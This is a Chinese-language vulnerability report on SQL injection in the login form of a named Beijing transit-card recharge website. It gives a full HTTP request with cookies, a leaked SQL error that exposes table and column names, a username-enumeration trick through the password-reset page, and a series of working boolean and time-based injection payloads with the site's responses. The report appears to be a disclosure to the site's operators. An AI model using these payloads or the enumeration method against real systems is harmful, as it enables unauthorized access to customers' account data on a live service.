北京市政交通一卡通某站点关键点SQL注入下载

北京市政交通一卡通某站点关键点SQL注入

北京市政交通一卡通网上充值站点登录页 https://www.hzt360.com/login 经fuzzing测试发现有错误信息泄露表字段，手工测试证实可SQL注入。用户名密码有错误次数限制，利用较困难。。。

POST /login HTTP/1.1

Host: www.hzt360.com

Connection: keep-alive

Content-Length: 148

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Origin: https://www.hzt360.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Referer: https://www.hzt360.com/login

Accept-Encoding: gzip,deflate,sdch

Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2

Cookie: pgv_pvi=1412546560; pgv_si=s4201846784; __utma=266646999.1836555319.1397916462.1397916462.1397916462.1; __utmc=266646999; __utmz=266646999.1397916462.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); AJSTAT_ok_pages=2; AJSTAT_ok_times=1; JSESSIONID=0D524F897A997AAE7522C9079EBC0B1F.tomcat03



needCheckCode=false&customerName=admin&loginPassword=123456&x=113&y=20

对post参数customerName进行sql fuzzing，页面错误信息发现表字段。

Not all named parameters have been set: [0:10] [ select c.* from PUB_CUSTOMER c left join PUB_RC_CANCEL_ACCOUNT ca on c.CUSTOMER_ID = ca.CUSTOMER_ID where ca.CANCEL_ACCOUNT_ID is NULL and (c.CUSTOMER_NAME='1 waitfor delay '0:0:10'--' or c.MOBILE_CODE='1 waitfor delay '0:0:10'--' or c.CARD_NO='1 waitfor delay '0:0:10'--' or c.E_MAIL='1 waitfor delay '0:0:10'--') order by c.REGISTER_DATE desc ]

一个用户名密码错了10次会锁24小时，没法直接用sqlmap，只能手工。。。

1）首先找了几个用户名

 

# 找回密码页面可查用户名存在与否

https://www.hzt360.com/customer/toChangeCustomerPassword

＃ 不存在的

＃ wangxin1

# 存在的

# wang

# wangxin

# wangxing

# loveyou

2）然后各种测试，确定注入语句格式为：

false' or *payload* or 'false'='

下面是手工测试的一些结论

 

1) 类型1：找到用户，密码不对

# wangxin

# admin

# 用户名或密码错误, 还有x次机会



# false'or c.CUSTOMER_NAME='admin' or 'false'='

# false'or c.CUSTOMER_NAME like 'admin' or 'false'='

# false'or (1 = (select count(*) from PUB_CUSTOMER where PUB_CUSTOMER.CUSTOMER_NAME='admin') and c.CUSTOMER_NAME='admin') or 'false'='

# false'or (1 = 1 AND EXISTS (select * from PUB_CUSTOMER where PUB_CUSTOMER.CUSTOMER_NAME='woaini') and c.CUSTOMER_NAME='woaini') or 'false'='

# 用户名或密码错误，还有x次机会



2）类型2：找不到用户

# wangxin1

# false'or c.CUSTOMER_NAME = 'wangxin1' or 'false'='

# false'or c.CUSTOMER_NAME like 'loveyouCUSTOMER_NAME' or 'false'='

# 用户名/卡号/手机号错误！ （猜想是没有返回结果）



验证 1），2）

# 测试length

# false'or (c.CUSTOMER_NAME = 'loveyou' and length(c.CUSTOMER_NAME) = 7) or 'false'='

# 用户名或密码错误，还有x次机会

# false'or (c.CUSTOMER_NAME = 'loveyou' and length(c.CUSTOMER_NAME) = 8) or 'false'='

# 用户名/卡号/手机号错误！ 



3）类型3：？

# false'or c.CUSTOMER_NAME like 'admin%' or 'false'='

# false'or c.CUSTOMER_NAME like 'wang%' or 'false'='

# false'or c.CUSTOMER_NAME like 'wangxi%' or 'false'='

# false'or c.CUSTOMER_NAME like 'wangxin%' or 'false'='

# false'or c.CUSTOMER_NAME like 'wangggggkkkkkkkk%' or 'false'='

# 用户名不能为空



# false'or (user() like 'o%') or 'false'='

# 用户名不能为空



实在想不清楚，不知道是不是like和％的关系。应该不是这条sql报的



4）类型4:语法错误时

# 字段写错

# 'or c.CLUSTER_NAME = 'wangxin' or 'false'='

# could not execute query

技术有限，只能证明到这...

修复方案：

你们的安全员肯定比我了解，抓紧时间修复吧